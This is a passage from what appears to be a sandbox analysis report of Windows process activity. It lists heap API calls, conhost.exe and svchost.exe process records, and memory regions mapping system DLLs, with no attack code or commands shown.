0x410000 [0208.515] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4196d8) returned 0x14 [0208.515] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4196d8) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4196f8) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4196f8) returned 0x14 [0208.515] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4196f8) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] GetProcessHeap () returned 0x410000 [0208.515] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x419418) returned 1 [0208.515] GetProcessHeap () returned 0x410000 [0208.516] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x419418) returned 0x14 [0208.516] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x419418) returned 1 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x4173f8) returned 1 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x4173f8) returned 0x10 [0208.516] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x4173f8) returned 1 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x412788) returned 1 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x412788) returned 0x14 [0208.516] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x412788) returned 1 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] HeapValidate (hHeap=0x410000, dwFlags=0x0, lpMem=0x417368) returned 1 [0208.516] GetProcessHeap () returned 0x410000 [0208.516] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x417368) returned 0x10 [0208.516] RtlFreeHeap (HeapHandle=0x410000, Flags=0x0, BaseAddress=0x417368) returned 1 [0208.516] exit (_Code=0) Thread: id = 25 os_tid = 0x11ac Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x62517000" os_pid = "0x1160" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x1180" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 658 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 659 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 660 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 661 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 662 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 663 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 664 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 665 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 666 start_va = 0x7ff637930000 end_va = 0x7ff637940fff monitored = 0 entry_point = 0x7ff6379316b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 667 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 668 start_va = 0x600000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 669 start_va = 0x7ffa15160000 end_va = 0x7ffa1520cfff monitored = 0 entry_point = 0x7ffa151781a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 670 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 671 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 672 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 673 start_va = 0x90000 end_va = 0x14dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 674 start_va = 0x7ffa13cc0000 end_va = 0x7ffa13d5cfff monitored = 0 entry_point = 0x7ffa13cc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 675 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 676 start_va = 0x190000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 677 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 678 start_va = 0x7ffa0a3e0000 end_va = 0x7ffa0a438fff monitored = 0 entry_point = 0x7ffa0a3efbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 681 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 682 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 683 start_va = 0x7ffa14340000 end_va = 0x7ffa145bcfff monitored = 0 entry_point = 0x7ffa14414970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 684 start_va = 0x7ffa145c0000 end_va = 0x7ffa146dbfff monitored = 0 entry_point = 0x7ffa146002b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 685 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 686 start_va = 0x7ffa13d80000 end_va = 0x7ffa13ed5fff monitored = 0 entry_point = 0x7ffa13d8a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 687 start_va = 0x7ffa13ee0000 end_va = 0x7ffa14065fff monitored = 0 entry_point = 0x7ffa13f2ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 688 start_va = 0x1a0000 end_va = 0x1a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 689 start_va = 0x7ffa13b70000 end_va = 0x7ffa13cb2fff monitored = 0 entry_point = 0x7ffa13b98210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 690 start_va = 0x7ffa14070000 end_va = 0x7ffa140cafff monitored = 0 entry_point = 0x7ffa140838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 691 start_va = 0x7ffa141e0000 end_va = 0x7ffa1421afff monitored = 0 entry_point = 0x7ffa141e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 692 start_va = 0x7ffa147c0000 end_va = 0x7ffa14880fff monitored = 0 entry_point = 0x7ffa147e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 693 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 696 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 697 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 698 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 699 start_va = 0x7c0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 700 start_va = 0x8c0000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 701 start_va = 0xa50000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 702 start_va = 0x1e50000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 704 start_va = 0x1e50000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 705 start_va = 0x1e90000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 706 start_va = 0x7ffa15210000 end_va = 0x7ffa1676efff monitored = 0 entry_point = 0x7ffa153711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 707 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 708 start_va = 0x7ffa13520000 end_va = 0x7ffa13b63fff monitored = 0 entry_point = 0x7ffa136e64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 709 start_va = 0x7ffa15090000 end_va = 0x7ffa15136fff monitored = 0 entry_point = 0x7ffa150a58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 710 start_va = 0x7ffa14ba0000 end_va = 0x7ffa14bf1fff monitored = 0 entry_point = 0x7ffa14baf530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 711 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 712 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 717 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 718 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 719 start_va = 0x7ffa11710000 end_va = 0x7ffa117a5fff monitored = 0 entry_point = 0x7ffa11735570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 720 start_va = 0x1ea0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 722 start_va = 0x1f00000 end_va = 0x2236fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 723 start_va = 0x2240000 end_va = 0x2455fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 724 start_va = 0x2460000 end_va = 0x2674fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 725 start_va = 0x2680000 end_va = 0x2795fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 726 start_va = 0x27a0000 end_va = 0x29bafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 727 start_va = 0x29c0000 end_va = 0x2ac9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 731 start_va = 0x1ea0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 732 start_va = 0x1ef0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 733 start_va = 0x7ffa14a40000 end_va = 0x7ffa14b99fff monitored = 0 entry_point = 0x7ffa14a838e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 734 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 735 start_va = 0x2ad0000 end_va = 0x2b8bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ad0000" filename = "" Region: id = 736 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 737 start_va = 0x7ffa10610000 end_va = 0x7ffa10631fff monitored = 0 entry_point = 0x7ffa10611a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 746 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 747 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 754 start_va = 0x60000 end_va = 0x66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 755 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 756 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 757 start_va = 0x1d0000 end_va = 0x1d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 758 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 759 start_va = 0x790000 end_va = 0x791fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 760 start_va = 0x7ffa080f0000 end_va = 0x7ffa08363fff monitored = 0 entry_point = 0x7ffa08160400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 765 start_va = 0x7a0000 end_va = 0x7a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 766 start_va = 0x7b0000 end_va = 0x7b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Thread: id = 20 os_tid = 0x116c Thread: id = 21 os_tid = 0x1168 Thread: id = 22 os_tid = 0x115c Thread: id = 23 os_tid = 0x1194 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75956000" os_pid = "0x360" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "4" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abff" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 824 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 825 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 826 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 827 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 828 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 829 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 830 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 831 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 832 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 833 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 834 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 835 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 836 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 837 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 838 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 839 start_va = 0x420000 end_va = 0x421fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 840 start_va = 0x430000 end_va = 0x434fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 841 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 842 start_va = 0x450000 end_va = 0x452fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 843 start_va = 0x470000 end_va = 0x479fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 844 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 845 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 846 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 847 start_va = 0x5d0000 end_va = 0x5d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 848 start_va = 0x5e0000 end_va = 0x5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 849 start_va = 0x5f0000 end_va = 0x5f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 850 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 851 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 852 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 853 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 854 start_va = 0x8b0000 end_va = 0x8bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 855 start_va = 0x8c0000 end_va = 0x8c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 856 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 857 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 858 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 859 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 860 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 861 start_va = 0xb90000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 862 start_va = 0xc90000 end_va = 0xc93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 863 start_va = 0xca0000 end_va = 0xcb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 864 start_va = 0xcc0000 end_va = 0xcc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 865 start_va = 0xcd0000 end_va = 0xd14fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = 